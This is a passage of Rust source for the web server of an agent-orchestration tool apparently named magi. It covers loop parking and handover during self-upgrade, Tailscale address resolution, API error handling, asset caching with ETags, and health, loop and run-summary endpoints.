894/// this arrangement has already had:
895///
896/// 1. **Park.** The loop was asked to stop by the request that replaced the
897///    binary, and this waits for it, because killing the graph mid-node
898///    leaves worktrees, branches and agent sessions behind and throws away
899///    every agent call already paid for. It takes as long as the node in
900///    flight - up to `timeout_implement`, an hour by default - and the deck
901///    goes on answering for all of it, which is the reason `served` is a task
902///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
903///    first upgrade from a phone that caught a run mid-implement dropped the
904///    listener the moment it was asked to, and the operator got
905///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
906///    waiting on and nothing but a process list to say the run was alive.
907/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
908///    the join resolves only once the task's future has been dropped, so the
909///    address is unbound before the next line rather than merely on its way
910///    there.
911/// 3. **Start the successor**, which binds the address this process has just
912///    let go of - see [`spawn_successor`] for what the other order cost.
913async fn hand_over(
914    looping: &Mutex<LoopState>,
915    served: tokio::task::JoinHandle<std::io::Result<()>>,
916    successor: impl FnOnce() -> Result<()>,
917) -> Result<()> {
918    finish_loop(looping).await;
919    served.abort();
920    let _ = served.await;
921    successor()
922}
923
924/// Ask the loop to stop and wait for it, on the way out of [`serve`].
925///
926/// The wait is the whole function. Returning from `serve` while a graph is
927/// mid-node ends the process with worktrees, branches and agent sessions left
928/// behind and every agent call in that run paid for and thrown away, which is
929/// exactly what the daemon's own shutdown refuses to do.
930async fn finish_loop(state: &Mutex<LoopState>) {
931    let live = lock_or_recover(state).live.take();
932    let Some(live) = live else { return };
933    live.stop.stop();
934    lock_or_recover(state).rev += 1;
935    tracing::info!("waiting for the loop to finish the run in flight");
936    // The task records its own outcome and logs it, so there is nothing to do
937    // with a join error here but stop waiting.
938    let _ = live.handle.await;
939}
940
941/// Resolve `--bind` to an address, plus a warning when the answer is not what
942/// the operator asked for.
943///
944/// Split out from [`serve`] because the interesting half - deciding whether
945/// Tailscale gave us something usable - is testable without opening a socket.
946pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
947    match bind {
948        Bind::Addr(addr) => (*addr, None),
949        Bind::Auto => match tailscale_ip() {
950            Ok(ip) => (IpAddr::V4(ip), None),
951            Err(why) => (
952                IpAddr::V4(Ipv4Addr::LOCALHOST),
953                Some(format!(
954                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
955                     local-only and a phone cannot reach it; start Tailscale \
956                     or pass --bind <addr>"
957                )),
958            ),
959        },
960    }
961}
962
963/// This machine's Tailscale IPv4, or why there is not one.
964///
965/// `tailscale ip -4` is a local call against the running daemon and returns in
966/// milliseconds, so it is fine to make it synchronously before the server
967/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
968/// CGNAT block Tailscale assigns from, and anything else on that output would
969/// be a different tool answering.
970fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
971    let out = std::process::Command::new("tailscale")
972        .args(["ip", "-4"])
973        .quiet()
974        .output()
975        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
976    if !out.status.success() {
977        let why = String::from_utf8_lossy(&out.stderr);
978        let why = why.trim();
979        return Err(format!(
980            "`tailscale ip -4` failed ({}){}",
981            out.status,
982            if why.is_empty() {
983                String::new()
984            } else {
985                format!(": {why}")
986            }
987        ));
988    }
989    String::from_utf8_lossy(&out.stdout)
990        .lines()
991        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
992        .find(is_tailnet)
993        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
994}
995
996/// Is this address in the CGNAT block Tailscale hands out from?
997fn is_tailnet(ip: &Ipv4Addr) -> bool {
998    let o = ip.octets();
999    o[0] == 100 && (64..=127).contains(&o[1])
1000}
1001
1002/// What every handler returns. Spelled out because `Result` in this crate is
1003/// `anyhow::Result`, and a handler's error is a status code as much as a
1004/// message.
1005type ApiResult<T> = std::result::Result<T, ApiError>;
1006
1007/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
1008#[derive(Debug)]
1009struct ApiError {
1010    status: StatusCode,
1011    message: String,
1012    /// Every separate thing wrong with what the client sent, when there is
1013    /// more than one and the client is expected to fix them all.
1014    ///
1015    /// Only `POST /api/chats/{id}/file` populates it, and it is skipped when
1016    /// empty so every other error body stays exactly the shape the front end
1017    /// already parses. The reason it exists at all is that the operator
1018    /// rejecting a draft is on a phone: a task file with no acceptance
1019    /// criteria and no title is one edit, and reporting it as two round trips
1020    /// means asking an agent to rewrite the draft twice.
1021    problems: Vec<String>,
1022}
1023
1024impl ApiError {
1025    /// The client asked for something malformed.
1026    fn bad_request(message: impl Into<String>) -> Self {
1027        Self {
1028            status: StatusCode::BAD_REQUEST,
1029            message: message.into(),
1030            problems: Vec::new(),
1031        }
1032    }
1033
1034    /// The client asked for something malformed in several ways at once.
1035    fn bad_request_with(message: impl Into<String>, problems: Vec<String>) -> Self {
1036        Self {
1037            problems,
1038            ..Self::bad_request(message)
1039        }
1040    }
1041
1042    /// No such run or task.
1043    fn not_found(message: impl Into<String>) -> Self {
1044        Self {
1045            status: StatusCode::NOT_FOUND,
1046            message: message.into(),
1047            problems: Vec::new(),
1048        }
1049    }
1050
1051    /// Someone else owns the thing the client wants to change.
1052    /// Re-badge an error whose default mapping is wrong for this route.
1053    fn with_status(mut self, status: StatusCode) -> Self {
1054        self.status = status;
1055        self
1056    }
1057
1058    /// A rules violation from a domain type, reported as the caller's fault.
1059    /// `Question::answer` rejects an unoffered choice, and that is a bad
1060    /// request, not a server error.
1061    fn bad_request_from(e: anyhow::Error) -> Self {
1062        Self::bad_request(format!("{e:#}"))
1063    }
1064
1065    fn conflict(message: impl Into<String>) -> Self {
1066        Self {
1067            status: StatusCode::CONFLICT,
1068            message: message.into(),
1069            problems: Vec::new(),
1070        }
1071    }
1072
1073    /// Our fault, or the disk's.
1074    fn internal(message: impl Into<String>) -> Self {
1075        Self {
1076            status: StatusCode::INTERNAL_SERVER_ERROR,
1077            message: message.into(),
1078            problems: Vec::new(),
1079        }
1080    }
1081}
1082
1083impl From<anyhow::Error> for ApiError {
1084    /// Errors from `queue` and `run` carry their context chain, and the whole
1085    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
1086    /// value at line 3" is a message an operator can act on, and there is no
1087    /// secret in a path on a single-user tailnet.
1088    fn from(e: anyhow::Error) -> Self {
1089        Self::internal(format!("{e:#}"))
1090    }
1091}
1092
1093impl IntoResponse for ApiError {
1094    fn into_response(self) -> Response {
1095        let mut body = serde_json::json!({ "error": self.message });
1096        if !self.problems.is_empty() {
1097            // `json!` above built an object, so this cannot be `None`.
1098            if let Some(map) = body.as_object_mut() {
1099                map.insert("problems".to_owned(), serde_json::json!(self.problems));
1100            }
1101        }
1102        (self.status, Json(body)).into_response()
1103    }
1104}
1105
1106/// Run a handler's filesystem work off the executor.
1107///
1108/// Every route that touches the disk goes through here rather than each one
1109/// arguing about whether its own read is small enough. Uniform because the
1110/// expensive case is not rare: `run.json` for a finished competition holds
1111/// every judgement, deliberation turn and review round, so listing a few
1112/// hundred runs is megabytes of parsing, and the executor threads doing it are
1113/// the same ones serving the change stream of every other connected phone.
1114async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1115where
1116    T: Send + 'static,
1117{
1118    match tokio::task::spawn_blocking(job).await {
1119        Ok(result) => result,
1120        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1121    }
1122}
1123
1124/// Cache policy for the three compiled-in front-end files.
1125///
1126/// The whole interface is `include_str!`ed into the binary, so its content
1127/// changes only when the binary does - and a phone that keeps a copy is
1128/// welcome to, right up until the deck is replaced. Without a single cache
1129/// header, browsers were free to invent their own policy, and one did:
1130/// yukimemi's phone went on showing "Candidates must be folded before
1131/// deleting. Run `magi fold` first." - a sentence deleted two releases
1132/// earlier - from a run detail served by a deck that no longer contained it.
1133/// The delete button he was told about was right there, and unreachable.
1134///
1135/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
1136/// every time, the answer is a 304 costing one small round trip while the
1137/// deck is unchanged, and the moment it is replaced the tag differs and the
1138/// new interface arrives. Correctness over bytes - this is one file of a few
1139/// tens of kilobytes on a tailnet, and being a version behind is not a
1140/// cosmetic problem when the difference is whether a button exists.
1141const ASSET_CACHE: &str = "no-cache, must-revalidate";
1142
1143/// `ETag` for the compiled-in assets, distinct per build.
1144///
1145/// The version alone would leave a locally built deck - `cargo install
1146/// --path .` twice at the same version, which is the normal way to iterate -
1147/// serving a stale tag for changed bytes. The build timestamp is what makes
1148/// two builds of `0.3.0` differ.
1149fn asset_etag() -> &'static str {
1150    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1151        format!(
1152            "\"{}-{}\"",
1153            env!("CARGO_PKG_VERSION"),
1154            // Length is a cheap, deterministic stand-in for a hash: the
1155            // three files are compiled in together, so any edit to any of
1156            // them almost certainly changes the total, and a rebuild is what
1157            // this needs to track rather than every possible byte pattern.
1158            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1159        )
1160    });
1161    &TAG
1162}
1163
1164/// Headers for a compiled-in asset of `mime`.
1165fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1166    [
1167        (header::CONTENT_TYPE, mime),
1168        (header::CACHE_CONTROL, ASSET_CACHE),
1169        (header::ETAG, asset_etag()),
1170    ]
1171}
1172
1173/// Serve a compiled-in asset, answering `304` when the client already has it.
1174///
1175/// axum does not compare `If-None-Match` for us, and a header the server sets
1176/// but never honours is worse than none: the phone revalidates on every load
1177/// and is handed the whole file back each time. Doing the comparison is what
1178/// makes `must-revalidate` cost one small round trip rather than the
1179/// interface.
1180fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1181    let tag = asset_etag();
1182    let known = headers
1183        .get(header::IF_NONE_MATCH)
1184        .and_then(|v| v.to_str().ok())
1185        // A revalidating client may send several, and a proxy may weaken the
1186        // tag to `W/"..."`; matching on containment covers both without
1187        // parsing the grammar.
1188        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1189    if known {
1190        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1191    }
1192    (asset_headers(mime), body).into_response()
1193}
1194
1195async fn index(headers: header::HeaderMap) -> Response {
1196    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1197}
1198
1199async fn app_css(headers: header::HeaderMap) -> Response {
1200    asset(&headers, "text/css; charset=utf-8", APP_CSS)
1201}
1202
1203async fn app_js(headers: header::HeaderMap) -> Response {
1204    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1205}
1206
1207/// What `/api/health` answers.
1208#[derive(Debug, Serialize)]
1209struct HealthView {
1210    version: &'static str,
1211    home: String,
1212    queue_rev: u64,
1213    runs_rev: u64,
1214    /// The same two revisions [`events`] streams for the question and chat
1215    /// stores.
1216    ///
1217    /// Here because this route is what the front end falls back to when the
1218    /// change stream is not up - it re-polls health on a timer and on wake, and
1219    /// takes the revisions from the answer. Without these two the fallback
1220    /// compares `undefined` against `undefined` for both stores, decides
1221    /// nothing moved, and a phone with a dead stream never learns that a
1222    /// question was asked or that an interview took a turn. `queue_rev` and
1223    /// `runs_rev` above have always been here for exactly this reason; the rule
1224    /// is that every revision the stream carries, this route carries too.
1225    questions_rev: u64,
1226    /// See [`HealthView::questions_rev`].
1227    chats_rev: u64,
1228    /// See [`HealthView::questions_rev`]. The standing chat's own store,
1229    /// separate from `chats_rev`: a `/api/talks` reply moving must not be
1230    /// mistaken for a `/api/chats` one, or a phone open on Planning would sit
1231    /// still while a talk it has open gets a reply.
1232    talks_rev: u64,
1233    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1234    /// is not on disk anywhere, so a phone with no change stream has no other
1235    /// way to notice that the loop it is waiting on was started from another
1236    /// device.
1237    loop_rev: u64,
1238    /// Runs on disk whose state this build cannot parse - almost always a
1239    /// schema bump, occasionally a run killed mid-write.
1240    ///
1241    /// Reported because the list silently skips them, and "no competitions
1242    /// yet" is a lie when six of them are sitting in the runs directory. The
1243    /// terminal deck learned the same lesson: a run that fails to parse must
1244    /// not disappear from the count.
1245    runs_unreadable: usize,
1246    /// The disk, and what the runs and their worktrees occupy on it.
1247    ///
1248    /// This is the incident the janitor exists for: magi alone put 30 GB into
1249    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
1250    /// is exactly where the operator learns "the disk is the constraint" -
1251    /// the diagnosis that a run is being held for want of space has to be
1252    /// checkable on the same screen.
1253    disk: DiskView,
1254    /// Questions nobody has answered yet.
1255    ///
1256    /// The one number here that means "nothing will happen until a human
1257    /// acts": a parked run consumes nothing and progresses never.
1258    questions_open: usize,
1259    /// Interviews the operator started in the browser and has not filed.
1260    ///
1261    /// Unlike `questions_open` nothing is blocked on these - a chat is the
1262    /// operator's own half-finished thought. It is here because an interview
1263    /// that never became a task is invisible everywhere else: it is not in the
1264    /// queue and it is not in the run history, so without a count the phone
1265    /// has no way to say "you left one open".
1266    chats_open: usize,
1267    daemon: DaemonView,
1268    /// The loop in this process, exactly what `/api/loop` answers with.
1269    ///
1270    /// Here so a phone that has just woken needs one request to know whether
1271    /// anything is going to happen at all: `daemon` says a loop is alive
1272    /// somewhere, and this says whether it is one this UI can stop.
1273    #[serde(rename = "loop")]
1274    looping: LoopView,
1275}
1276
1277/// The disk figures `/api/health` carries. Every number is produced by
1278/// [`crate::disk`], the same code that decides a run may not start, so the
1279/// health screen and the gate cannot disagree about what the machine looks
1280/// like.
1281#[derive(Debug, Serialize)]
1282struct DiskView {
1283    /// Free bytes on the volume holding the runs, when measurable.
1284    #[serde(skip_serializing_if = "Option::is_none")]
1285    free_bytes: Option<u64>,
1286    /// Everything the runs directory occupies, unreadable runs included.
1287    runs_bytes: u64,
1288    /// Everything the runs' worktrees occupy.
1289    worktrees_bytes: u64,
1290    /// The shared build cache's size, when the config names one.
1291    #[serde(skip_serializing_if = "Option::is_none")]
1292    cache_bytes: Option<u64>,
1293}
1294
1295impl DiskView {
1296    /// Measure the three directories and re-read the config's cache.
1297    fn of(ui: &Ui) -> Self {
1298        let cache_bytes = Config::discover(&ui.repo, None)
1299            .ok()
1300            .and_then(|(cfg, _)| cfg.cache_dir())
1301            .map(|dir| crate::disk::dir_size(&dir));
1302        Self {
1303            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1304            runs_bytes: crate::disk::dir_size(&ui.runs),
1305            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1306            cache_bytes,
1307        }
1308    }
1309}
1310
1311/// The daemon's state as the UI presents it.
1312#[derive(Debug, Serialize)]
1313struct DaemonView {
1314    running: bool,
1315    idle: Option<bool>,
1316    pid: Option<u32>,
1317    current: Option<daemon::Current>,
1318    completed: Option<u64>,
1319    stale_for_secs: Option<i64>,
1320}
1321
1322impl DaemonView {
1323    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
1324    /// not this UI's — a crashed daemon must not look alive here while
1325    /// `doctor` calls it dead.
1326    fn of(status: Option<daemon::Reading>) -> Self {
1327        let Some(status) = status else {
1328            return Self {
1329                running: false,
1330                idle: None,
1331                pid: None,
1332                current: None,
1333                completed: None,
1334                stale_for_secs: None,
1335            };
1336        };
1337        let now = Timestamp::now();
1338        let age = status.age_secs(now);
1339        Self {
1340            running: status.running(now),
1341            idle: Some(status.idle),
1342            pid: status.pid,
1343            current: status.current,
1344            completed: Some(status.completed),
1345            stale_for_secs: age,
1346        }
1347    }
1348}
1349
1350async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1351    blocking(move || {
1352        // One read of the status file for the two fields that describe it, so
1353        // `daemon` and `loop` in the same answer cannot disagree about who is
1354        // running the loop.
1355        let reading = daemon::read_status(&ui.home);
1356        // Read on its own line, not inside the literal below: the loop's lock
1357        // is not reentrant, and a guard taken as a temporary there would still
1358        // be held when `loop_view` took it again.
1359        let loop_rev = ui.lock_loop().rev;
1360        Ok(Json(HealthView {
1361            version: env!("CARGO_PKG_VERSION"),
1362            home: ui.home.display().to_string(),
1363            queue_rev: ui.queue.revision(),
1364            runs_rev: runs_revision(&ui.runs),
1365            questions_rev: ui.questions.revision(),
1366            chats_rev: ui.chats.revision(),
1367            talks_rev: ui.talks.revision(),
1368            loop_rev,
1369            runs_unreadable: runs_unreadable(&ui.runs),
1370            questions_open: ui.questions.count_open(),
1371            chats_open: ui.chats.count_open(),
1372            daemon: DaemonView::of(reading.clone()),
1373            looping: ui.loop_view(reading),
1374            disk: DiskView::of(&ui),
1375        }))
1376    })
1377    .await
1378}
1379
1380/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
1381#[derive(Debug, Serialize)]
1382struct LoopView {
1383    /// A loop is running in *this* process.
1384    running: bool,
1385    /// It has been asked to stop and is still finishing a run.
1386    ///
1387    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
1388    /// because the two differ exactly where it matters: a loop asked to stop
1389    /// while idle is gone within one poll interval, and one asked to stop
1390    /// mid-run keeps going for as long as the graph takes. The operator needs
1391    /// to be told which of those they are waiting for.
1392    stopping: bool,
1393    /// A park was asked for: the run in flight stops at its next node
1394    /// boundary rather than finishing.
1395    ///
1396    /// Separate from `stopping` because the two promise different waits. A
1397    /// stop is "when this competition ends", which can be an hour; a park is
1398    /// "after the step it is on", which is minutes and is what an operator
1399    /// waiting to replace the binary needs to see.
1400    parking: bool,
1401    /// The loop is this process's own.
1402    ///
1403    /// Spelled separately from `running` for the front end's sake, even
1404    /// though inside this process the two move together: `running: false`
1405    /// with `daemon.running: true` is the case where the operator's own `magi
1406    /// serve` owns the loop, and `owned` is the field that tells the UI its
1407    /// buttons have to explain that rather than pretend.
1408    owned: bool,
1409    /// Repository the loop uses for tasks that name none - what it was
1410    /// started with while it runs, and what a start would use before that.
1411    repo: String,
1412    /// Merge mode override in force, or `null` when each repository's own
1413    /// config decides.
1414    merge: Option<String>,
1415    /// Why the last loop in this process ended, when it ended badly.
1416    ///
1417    /// The only place a crashed loop is visible to someone holding a phone.
1418    /// It is logged at error level as well, but a terminal nobody kept open
1419    /// is not a report, and a loop that died at 3am must not read as merely
1420    /// stopped in the morning. Named as [`Task::last_error`] is, because it
1421    /// answers the same question about the same kind of failure.
1422    last_error: Option<String>,
1423    /// The status file, judged the same way `/api/health` judges it: this is
1424    /// what says whether a loop is alive in some *other* process.
1425    daemon: DaemonView,
1426}
1427
1428/// A loop another process already owns.
1429///
1430/// `<home>/daemon.json` is the only cross-process signal there is, so this is
1431/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
1432/// published by a pid that is not ours. Excluding our own pid is what makes
1433/// stopping work at all - the loop this process runs writes that file too, so
1434/// a check that ignored the pid would decide the operator's own UI was a
1435/// stranger and refuse to stop the loop it had just started.
1436#[derive(Debug, Clone, Copy)]
1437struct Foreign {
1438    /// The pid the other process published, when it published one.
1439    pid: Option<u32>,
1440}
1441
1442impl Foreign {
1443    /// Another process's live loop, or `None` when this process is free to
1444    /// run one.
1445    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1446        let reading = reading?;
1447        if !reading.running(Timestamp::now()) {
1448            return None;
1449        }
1450        match reading.pid {
1451            Some(pid) if pid == std::process::id() => None,
1452            // A fresh heartbeat with no pid in it is still evidence of a live
1453            // daemon. "Some other process" is the honest answer, and refusing
1454            // to start beside it is the safe one.
1455            pid => Some(Self { pid }),
1456        }
1457    }
1458
1459    /// How a conflict names it. The pid is the whole point of the message: it
1460    /// is what the operator needs to find the terminal that owns the loop.
1461    fn who(&self) -> String {
1462        match self.pid {
1463            Some(pid) => format!("another magi process (pid {pid})"),
1464            None => "another magi process".to_owned(),
1465        }
1466    }
1467}
1468
1469/// How a loop is started, as a future this module can hold onto.
1470///
1471/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
1472/// trait object or a hand-written `Debug` impl for the sake of one seam.
1473type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1474
1475/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
1476fn launch_daemon(
1477    opts: daemon::Opts,
1478    stop: daemon::Stop,
1479) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1480    Box::pin(daemon::serve_until(opts, stop))
1481}
1482
1483/// The loop this process runs, behind one lock.
1484#[derive(Debug, Default)]
1485struct LoopState {
1486    /// The loop, while there is one.
1487    live: Option<Live>,
1488    /// Bumped on every change to this struct, and streamed as `loop_rev`.
1489    ///
1490    /// The loop is in-process state rather than a file, so nothing on disk
1491    /// would tell a second phone that the first one started it. Without this
1492    /// counter the only way to learn about a start, a stop request or a crash
1493    /// would be to poll `/api/loop`, which is the thing the change stream
1494    /// exists to avoid on a mobile link.
1495    rev: u64,
1496    /// Why the last loop ended, when it ended badly. See
1497    /// [`LoopView::last_error`].
1498    last_error: Option<String>,
1499}
1500
1501/// A loop in flight.
1502#[derive(Debug)]
1503struct Live {
1504    /// The cooperative stop, shared with the loop task.
1505    stop: daemon::Stop,
1506    /// The task itself, kept only to answer whether it is still there: a loop
1507    /// that panicked never records its own end, and without this the view
1508    /// would go on reporting a loop that no longer exists - the one lie that
1509    /// would leave the operator with no button to press.
1510    handle: tokio::task::JoinHandle<()>,
1511    /// What the loop was started with, so the view reports the repository and
1512    /// merge mode its runs will actually use rather than what an edit to the
1513    /// config since would give.
1514    opts: daemon::Opts,
1515}
1516
1517impl Live {
1518    /// Is the task still there? See [`Live::handle`].
1519    fn alive(&self) -> bool {
1520        !self.handle.is_finished()
1521    }
1522}
1523
1524/// Take the loop lock, recovering from a poisoned one.
1525///
1526/// What this mutex holds is a stop flag, a task handle and two counters, none
1527/// of which a panic elsewhere can leave in a state worth refusing to read.
1528/// Propagating the poison instead would mean an operator who can see the loop
1529/// running and can no longer stop it from the only surface they have.
1530fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1531    state.lock().unwrap_or_else(PoisonError::into_inner)
1532}
1533
1534/// `GET /api/loop`.
1535async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1536    blocking(move || {
1537        let reading = daemon::read_status(&ui.home);
1538        Ok(Json(ui.loop_view(reading)))
1539    })
1540    .await
1541}
1542
1543/// The body of `POST /api/loop`.
1544///
1545/// One required field and nothing else: no `default` and no unknown fields,
1546/// so a body that fails to say which way the switch was flipped is a 400
1547/// rather than a tap that quietly does the opposite of what was pressed.
1548#[derive(Debug, Deserialize)]
1549#[serde(deny_unknown_fields)]
1550struct LoopCommand {
1551    running: bool,
1552    /// Stop the run in flight at its next node boundary rather than letting it
1553    /// finish.
1554    ///
1555    /// Defaults to false, so the plain stop keeps meaning what it meant: a
1556    /// competition is tens of minutes of paid work and finishing it is
1557    /// normally the cheapest thing to do. A park is for the operator who
1558    /// wants the process gone now - to replace the binary, most of all - and
1559    /// it costs at most the node in progress because every node writes its
1560    /// state before the next one starts.
1561    #[serde(default)]
1562    park: bool,
1563}
1564
1565/// `POST /api/loop` - start the loop in this process, or ask it to stop.
1566///
1567/// Answers with the view rather than waiting for the loop to reach the state
1568/// that was asked for. Starting is immediate anyway; stopping is not, and the
1569/// wait is a run's worth of minutes, which is not a thing to hold a phone's
1570/// request open for. `stopping` in the answer is what the operator watches
1571/// instead.
1572async fn loop_post(
1573    State(ui): State<Arc<Ui>>,
1574    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1575) -> ApiResult<Json<LoopView>> {
1576    // Taken as a `Result` so a malformed body is a 400 like every other route
1577    // here, rather than axum's default 422 that the UI has no branch for.
1578    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1579    blocking(move || {
1580        let reading = daemon::read_status(&ui.home);
1581        let foreign = Foreign::of(reading.as_ref());
1582        if body.running {
1583            ui.start_loop(foreign)?;
1584        } else {
1585            ui.stop_loop(foreign, body.park)?;
1586        }
1587        Ok(Json(ui.loop_view(reading)))
1588    })
1589    .await
1590}
1591
1592/// What `POST /api/upgrade` set in motion.
1593#[derive(Debug, Serialize)]
1594struct UpgradeView {
1595    /// The version this process is running.
1596    from: String,
1597    /// The release it is replacing itself with, when there is one.
1598    to: Option<String>,
1599    /// A run was parked first, and this is its id.
1600    parked: Option<String>,
1601    /// What the operator should expect to happen next.
1602    detail: String,
1603}
1604
1605/// `POST /api/upgrade` - replace this binary with the newest release and come
1606/// back on it.
1607///
1608/// The one thing the deck could not do for itself. Every fix landed today
1609/// either waited for a competition to end or went in with the deck stopped,
1610/// because `cargo install` cannot overwrite a running executable on Windows.
1611/// `kaishin` can: `self_replace` **renames** the running image aside and puts
1612/// the new one in its place, so the swap itself needs no downtime. Only the
1613/// restart does, and the order is the whole design:
1614///
1615/// 1. **Park.** A run in flight stops at its next node boundary and stays
1616///    resumable, so this costs at most the node in progress rather than the
1617///    competition. Without it the honest choices were waiting an hour or
1618///    discarding paid agent work.
1619/// 2. **Replace.** The new binary goes into place while this one still runs.
1620/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
1621///    successor - see [`spawn_successor`] for what happens in the other
1622///    order.
1623/// 4. **Resume.** The next loop carries the parked run on rather than
1624///    competing again; see `daemon::attempt`.
1625///
1626/// Answers **202**: the reply has to reach the phone while this process can
1627/// still send one, and the phone learns the deck is back by reconnecting.
1628async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
1629    let reading = daemon::read_status(&ui.home);
1630    if let Some(other) = Foreign::of(reading.as_ref()) {
1631        return Err(ApiError::conflict(format!(
1632            "the loop belongs to {}, so replacing this binary would leave \
1633             that process running an old one against the same queue. Upgrade \
1634             where it was started.",
1635            other.who()
1636        )));
1637    }
1638
1639    // Asked before anything is disturbed. Restarting when there is nothing
1640    // to install is not a harmless no-op: it parks the run in flight and
1641    // drops every connection to pay for an upgrade that did not happen. A
1642    // probe against a deck already on the newest build did exactly that.
1643    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
1644    let latest = match crate::updater::Checker::new(&cfg.update) {
1645        Some(checker) => checker
1646            .newer_release()
1647            .await
1648            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
1649        None => None,
1650    };
1651    let Some(latest) = latest else {
1652        return Ok((
1653            StatusCode::OK,
1654            Json(UpgradeView {
1655                from: env!("CARGO_PKG_VERSION").to_owned(),
1656                to: None,
1657                parked: None,
1658                detail: "Already on the newest release. Nothing was parked \
1659                         and nothing restarted."
1660                    .to_owned(),
1661            }),
1662        ));
1663    };
1664
1665    // Parked before anything is replaced: a successor that came up while a
1666    // run was mid-node would find a run nobody is driving.
1667    let parked = ui.park_for_upgrade()?;
1668    let detail = match &parked {
1669        // Honest about the wait. A park takes effect at the *next* node
1670        // boundary, so a run mid-implement finishes that wave first - up to
1671        // `timeout_implement`, an hour by default. Saying "restarting now"
1672        // would make the deck look wedged for the rest of it.
1673        Some(run) => format!(
1674            "Run {} is parking at its next step, which can take as long as \
1675             the step it is on - up to an hour for an implement wave. The \
1676             deck replaces itself once it parks, comes back, and the loop \
1677             carries that run on from where it stopped. Nothing is lost if \
1678             you close this.",
1679            crate::run::short_of(run)
1680        ),
1681        None => "The deck replaces itself and comes back. Nothing was in \
1682                 flight to park."
1683            .to_owned(),
1684    };
1685
1686    tokio::spawn(async move {
1687        if let Err(e) = upgrade_and_restart().await {
1688            tracing::error!("the upgrade did not complete: {e:#}");
1689        }
1690    });
1691
1692    Ok((
1693        StatusCode::ACCEPTED,
1694        Json(UpgradeView {
1695            from: env!("CARGO_PKG_VERSION").to_owned(),
1696            to: Some(latest.tag_name.clone()),
1697            parked,
1698            detail,
1699        }),
1700    ))
1701}
1702
1703/// Replace the binary, then ask [`serve`] to hand the address over.
1704///
1705/// Separated from the handler so the 202 is already on its way, and separated
1706/// from the spawn so the successor starts only after the listener is dropped.
1707async fn upgrade_and_restart() -> Result<()> {
1708    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
1709    // hang the upgrade for as long as the process lives.
1710    crate::updater::run_self_update(true, false, true).await?;
1711    tracing::info!("binary replaced - asking the server to hand over");
1712    HANDOVER.notify_one();
1713    Ok(())
1714}
1715
1716/// One row in the run list.
1717///
1718/// The list route returns this rather than whole `RunState`s: the summary of a
1719/// run is a few hundred bytes and the state is megabytes, and the difference
1720/// is what makes the history usable on a mobile link.
1721#[derive(Debug, Serialize)]
1722struct RunSummary {
1723    id: String,
1724    short: String,
1725    status: String,
1726    done: bool,
1727    instruction: String,
1728    title: String,
1729    repo: String,
1730    repo_name: String,
1731    created_at: String,
1732    updated_at: String,
1733    candidates: usize,
1734    viable: usize,
1735    judges: usize,
1736    winner: Option<char>,
1737    reviews: usize,
1738    quota_losses: usize,
1739    event: Option<String>,
1740    /// The later attempt at the same task that replaced this one, if any.
1741    ///
1742    /// Two cards with one title is otherwise unreadable: this is what lets
1743    /// the deck say "superseded by 4043" on the older of the pair.
1744    superseded_by: Option<String>,
1745    /// Blocked on a question nobody has answered.
1746    ///
1747    /// Derived from the question store rather than stored on the run: an agent
1748    /// calling `magi ask` blocks mid-node, and writing a status from there
1749    /// would race the graph's own save of `run.json` and be overwritten at the
1750    /// next node boundary. Asking the store is always true and never races.
1751    waiting: bool,
1752    /// The land loop's last look at the pull request, when there is one.
1753    pr: Option<crate::run::PrRecord>,
1754}
1755
1756impl RunSummary {
1757    fn of(state: &RunState, waiting: bool) -> Self {
1758        Self {
1759            id: state.id.clone(),
1760            short: state.short().to_owned(),
1761            status: status_word(state.status),
1762            done: state.status.done(),
1763            instruction: state.instruction.clone(),
1764            title: title_from(&state.instruction, TITLE_MAX),
1765            repo: state.repo.display().to_string(),
1766            repo_name: state
1767                .repo
1768                .file_name()
